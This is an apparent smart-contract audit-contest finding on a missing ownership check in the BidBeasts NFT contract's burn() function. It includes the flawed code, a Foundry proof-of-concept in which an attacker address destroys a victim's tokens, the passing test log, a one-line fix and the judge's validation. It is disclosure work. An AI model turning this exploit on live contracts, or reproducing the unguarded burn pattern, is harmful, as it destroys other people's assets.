Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Missing Access Control in Burn Function - Unauthorized Asset Destruction Vulnerability

Root + Impact

Description

  • The burn() function is designed to allow NFT owners to permanently destroy their own tokens when they no longer want to hold them, typically for deflationary mechanics or personal preference [attached_file:91c91c79-8916-4762-a0c6-bd6b9f08697d]. In a properly implemented ERC721 burn function, only the token owner (or an approved address) should be able to call burn() to destroy their specific NFT, which would check ownership via require(ownerOf(_tokenId) == msg.sender) before calling the internal _burn() function. This ensures that users can only destroy assets they legitimately own, maintaining the security and integrity of the NFT collection.

  • The burn() function contains a critical missing access control that enables unauthorized asset destruction by any address [attached_file:91c91c79-8916-4762-a0c6-bd6b9f08697d]. The function directly calls _burn(_tokenId) without performing any ownership validation, meaning any user can call burn(tokenId) to permanently destroy any NFT in the collection regardless of who owns it. This creates a severe griefing vulnerability where malicious actors can systematically destroy valuable NFTs belonging to other users, causing complete and irreversible asset loss for victims. Since the function is public and has no restrictions, attackers can destroy entire NFT collections by iterating through token IDs, making this a collection-wide destruction vulnerability that violates fundamental ERC721 security principles and enables pure value destruction attacks with no recovery mechanism.

/**
* @notice Burns a token, permanently destroying it
*/
function burn(uint256 _tokenId) public {
@> _burn(_tokenId); // No ownership check
@> emit BidBeastsBurn(msg.sender, _tokenId);
}
// The vulnerability is the missing access control:
// - No require(ownerOf(_tokenId) == msg.sender) check
// - Direct call to _burn() without validation
// - Any address can destroy any NFT
//
// This allows: burn(victim_token_id) from any address
// Result: Permanent NFT destruction, victim loses asset, no recovery possible

Risk

Likelihood:

  • The burn() function is public with no access control restrictions, making it immediately exploitable by any address that can identify existing NFT token IDs [attached_file:91c91c79-8916-4762-a0c6-bd6b9f08697d]. Token IDs are easily discoverable through blockchain explorers, event logs, or by iterating through sequential IDs starting from 0.

  • Executing the burn attack requires only minimal gas costs for a simple function call, making it economically feasible for malicious actors to destroy high-value NFTs at minimal expense. The low barrier to entry combined with potential high-value targets creates significant incentive for griefing attacks.

Impact:

  • Victims suffer 100% permanent loss of their NFT assets with no recovery mechanism available. The PoC demonstrated successful destruction of legitimate NFT ownership, with the asset becoming completely inaccessible and all standard ERC721 operations failing permanently, representing total value destruction.

  • The vulnerability enables systematic destruction of entire NFT collections, as attackers can iterate through all existing token IDs and burn every NFT in the contract. This creates systemic risk where the entire BidBeasts collection could be destroyed, causing complete ecosystem collapse and total loss of holder confidence in the project.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract MissingBurnAccessControlPoC is Test {
BidBeasts nft;
address public constant OWNER = address(0x1);
address public constant VICTIM = address(0x2);
address public constant ATTACKER = address(0x3);
function setUp() public {
vm.prank(OWNER);
nft = new BidBeasts();
vm.stopPrank();
}
function test_MissingBurnAccessControl() public {
// Step 1: Owner mints NFT to victim
vm.prank(OWNER);
uint256 tokenId = nft.mint(VICTIM);
console.log("=== BEFORE ATTACK ===");
console.log("Token ID:", tokenId);
console.log("Token owner:", nft.ownerOf(tokenId));
console.log("Victim owns token:", nft.ownerOf(tokenId) == VICTIM);
// Verify victim owns the NFT
assertEq(nft.ownerOf(tokenId), VICTIM, "Victim should own the NFT");
assertEq(nft.balanceOf(VICTIM), 1, "Victim should have 1 NFT");
assertEq(nft.balanceOf(ATTACKER), 0, "Attacker should have 0 NFTs");
// Step 2: Record initial state
uint256 victimNFTCountBefore = nft.balanceOf(VICTIM);
// Step 3: Attacker burns victim's NFT without permission
console.log("=== EXECUTING ATTACK ===");
console.log("Attacker burning token ID:", tokenId);
console.log("Attacker address:", ATTACKER);
vm.prank(ATTACKER);
nft.burn(tokenId);
console.log("Burn transaction completed successfully");
// Step 4: Verify the NFT has been destroyed
console.log("=== AFTER ATTACK ===");
// Check that the NFT no longer exists (updated for newer OpenZeppelin)
vm.expectRevert();
nft.ownerOf(tokenId);
console.log("Token no longer exists (ownerOf reverts)");
// Verify victim's balance decreased
uint256 victimNFTCountAfter = nft.balanceOf(VICTIM);
uint256 attackerNFTCountAfter = nft.balanceOf(ATTACKER);
console.log("Victim NFT count before:", victimNFTCountBefore);
console.log("Victim NFT count after:", victimNFTCountAfter);
console.log("Attacker NFT count after:", attackerNFTCountAfter);
// Step 5: Prove asset destruction
assertEq(victimNFTCountAfter, 0, "Victim should have lost their NFT");
assertEq(attackerNFTCountAfter, 0, "Attacker should not have gained any NFTs");
assertEq(victimNFTCountBefore - victimNFTCountAfter, 1, "Exactly 1 NFT should be destroyed");
// Step 6: Verify permanent loss - NFT cannot be recovered
console.log("=== VERIFYING PERMANENT LOSS ===");
// Try to transfer the burned token (should fail)
vm.expectRevert();
vm.prank(VICTIM);
nft.transferFrom(VICTIM, OWNER, tokenId);
console.log("Transfer attempt failed - token permanently destroyed");
// Try to approve the burned token (should fail)
vm.expectRevert();
vm.prank(VICTIM);
nft.approve(OWNER, tokenId);
console.log("Approve attempt failed - token permanently destroyed");
console.log("=== EXPLOIT SUCCESSFUL ===");
console.log("Vulnerability: Missing access control in burn() function");
console.log("Impact: Complete asset destruction by unauthorized user");
console.log("Result: Victim's NFT permanently destroyed, no recovery possible");
}
function test_MultipleBurns() public {
// Demonstrate attacker can burn multiple NFTs
console.log("=== TESTING MULTIPLE NFT DESTRUCTION ===");
// Mint 3 NFTs to victim
uint256[] memory tokenIds = new uint256[](3);
vm.startPrank(OWNER);
for(uint i = 0; i < 3; i++) {
tokenIds[i] = nft.mint(VICTIM);
}
vm.stopPrank();
console.log("Minted 3 NFTs to victim");
console.log("Victim balance before:", nft.balanceOf(VICTIM));
// Attacker burns all victim's NFTs
vm.startPrank(ATTACKER);
for(uint i = 0; i < 3; i++) {
console.log("Burning token ID:", tokenIds[i]);
nft.burn(tokenIds[i]);
}
vm.stopPrank();
console.log("Victim balance after:", nft.balanceOf(VICTIM));
assertEq(nft.balanceOf(VICTIM), 0, "All victim NFTs should be destroyed");
// Verify all tokens are destroyed
for(uint i = 0; i < 3; i++) {
vm.expectRevert();
nft.ownerOf(tokenIds[i]);
}
console.log("All 3 NFTs permanently destroyed by attacker");
console.log("Total asset loss: 3 NFTs worth potential significant value");
}
}
forge test --match-test test_MissingBurnAccessControl -vv
[⠰] Compiling...
[⠘] Compiling 1 files with Solc 0.8.20
[⠊] Solc 0.8.20 finished in 344.70ms
Compiler run successful!
Ran 1 test for test/MissingBurnAccessControlPoC.t.sol:MissingBurnAccessControlPoC
[PASS] test_MissingBurnAccessControl() (gas: 111260)
Logs:
=== BEFORE ATTACK ===
Token ID: 0
Token owner: 0x0000000000000000000000000000000000000002
Victim owns token: true
=== EXECUTING ATTACK ===
Attacker burning token ID: 0
Attacker address: 0x0000000000000000000000000000000000000003
Burn transaction completed successfully
=== AFTER ATTACK ===
Token no longer exists (ownerOf reverts)
Victim NFT count before: 1
Victim NFT count after: 0
Attacker NFT count after: 0
=== VERIFYING PERMANENT LOSS ===
Transfer attempt failed - token permanently destroyed
Approve attempt failed - token permanently destroyed
=== EXPLOIT SUCCESSFUL ===
Vulnerability: Missing access control in burn() function
Impact: Complete asset destruction by unauthorized user
Result: Victim's NFT permanently destroyed, no recovery possible
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 687.70µs (342.20µs CPU time)
Ran 1 test suite in 6.06ms (687.70µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

The recommended mitigation adds proper access control to the burn function by validating token ownership before allowing destruction [attached_file:91c91c79-8916-4762-a0c6-bd6b9f08697d].

/**
* @notice Burns a token, permanently destroying it
*/
- function burn(uint256 _tokenId) public {
- _burn(_tokenId);
- emit BidBeastsBurn(msg.sender, _tokenId);
- }
+ function burn(uint256 _tokenId) public {
+ require(ownerOf(_tokenId) == msg.sender, "Caller is not owner");
+ _burn(_tokenId);
+ emit BidBeastsBurn(msg.sender, _tokenId);
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.